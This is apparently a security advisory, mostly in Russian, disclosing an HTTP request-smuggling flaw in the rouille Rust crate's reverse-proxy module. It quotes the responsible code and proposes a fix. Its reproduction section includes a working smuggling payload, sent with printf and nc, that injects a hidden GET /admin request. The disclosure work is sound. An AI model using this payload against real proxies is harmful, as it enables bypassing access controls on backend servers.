
Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille)
Присвоенный CVE ID: CVE-2026-67181
rouille::proxy::proxy передаёт заголовок Transfer-Encoding клиента на бэкенд без изменений, но записывает тело запроса, которое tiny_http уже декодировал из chunked. Он никогда не отправляет собственный Content-Length. Бэкенду сообщается, что тело закодировано chunked, а передаются байты, которые не являются chunked, поэтому не rouille, а клиент определяет, где, по мнению бэкенда, заканчивается тело.
URL репозитория: https://github.com/tomaka/rouille
| Первая затронутая версия | 0.3.3 (2016-12-03), релиз, в котором появился src/proxy.rs |
| Последняя затронутая версия | 3.6.2 (2023-04-24), текущий релиз |
| Не затронуты | 0.3.2 и более ранние, в которых нет модуля proxy |
| Исправлено в | на момент написания исправленная версия отсутствует |
src/proxy.rs побайтово идентичен между тегом 3.6.2 и текущим master. Затронуты только приложения, вызывающие proxy::proxy или proxy::full_proxy.
CWE-444 (несогласованная интерпретация HTTP-запросов).
Базовая оценка CVSS 4.0 — 6.3 (средний)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
Удалённый неаутентифицированный клиент, отправляющий сырой HTTP в приложение rouille, которое действует как обратный прокси. Учётные данные или взаимодействие с пользователем не требуются.
Воздействие зависит от бэкенда. Бэкенды, которые используют конвейеризацию независимо от Connection: close, а также любые промежуточные компоненты с пулом соединений между rouille и источником, будут обрабатывать контрабандный запрос. Бэкенды, соблюдающие Connection: close, всё равно получат тело запроса, отличающееся и от того, что отправил клиент, и от того, что увидел rouille.
tiny_http декодирует chunked всякий раз, когда присутствует любой заголовок Transfer-Encoding, и отбрасывает Content-Length.
tiny_http-0.12.0/src/request.rs, строки 149–159:
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
154 } else {
tiny_http-0.12.0/src/request.rs, строки 218–221:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
Затем rouille/src/proxy.rs передаёт все заголовки, кроме Connection, и копирует декодированное тело. Строки 167–174:
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
Заголовок клиента Transfer-Encoding: chunked сохраняется на строке 171. Строка 174 записывает plaintext, который создал Decoder. Content-Length не записывается никогда, поэтому бэкенду не на что больше опираться при определении границ, и он применяет chunked-разбор к plaintext, выбранному атакующим.
Шаг 1. Запустите простой слушатель на порту 8001, который будет выступать в роли бэкенда и показывать байты, отправляемые rouille.
nc -l 127.0.0.1 8001 | cat -v
Шаг 2. Запустите фронтенд rouille на порту 8000.
use rouille::proxy;
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
Шаг 3. Отправьте корректно закодированный chunked-запрос, декодированное тело которого само является chunked-потоком, немедленно завершающимся, а затем второй запрос. Единственный чанк имеет длину 0x3d = 61 байт.
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
Результат. Слушатель из шага 1 показывает, что rouille объявляет chunked-кадрирование, а затем отправляет plaintext:
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close
0
GET /admin HTTP/1.1
Host: x
X-Smuggled: yes
Бэкенд, соблюдающий Transfer-Encoding: chunked, читает строку размера чанка 0, заключает, что тело пустое, и разбирает оставшиеся 56 байт как новый запрос.
Представление бэкенда о теле запроса отличается и от байтов, отправленных клиентом, и от байтов, прочитанных rouille. Любой вышестоящий компонент, который журналирует, аудирует или зеркалирует тело, записывает нечто иное, чем то, на что опирался бэкенд.
Если бэкенд использует конвейеризацию, несмотря на Connection: close, или между rouille и источником находится промежуточный компонент с пулом соединений, хвостовые байты становятся вторым запросом с методом и путём, выбранными атакующим.
Заголовок Content-Length клиента также передаётся дальше, даже несмотря на то, что tiny_http его проигнорировал, поэтому бэкенд, который предпочитает Content-Length поверх Transfer-Encoding, напрямую получает десинхронизацию CL.TE.
Не передавайте заголовки кадрирования, описывающие тело, которое rouille уже декодировал. В src/proxy.rs расширьте пропуск на строке 167:
if header.eq_ignore_ascii_case("Connection")
|| header.eq_ignore_ascii_case("Transfer-Encoding")
|| header.eq_ignore_ascii_case("Content-Length")
{
continue;
}
Затем отправьте кадрирование, соответствующее реально записываемым данным: буферизуйте тело и передайте точный Content-Length либо заново разбейте его на чанки и сами отправьте Transfer-Encoding: chunked, перед завершающими \r\n\r\n на строке 173.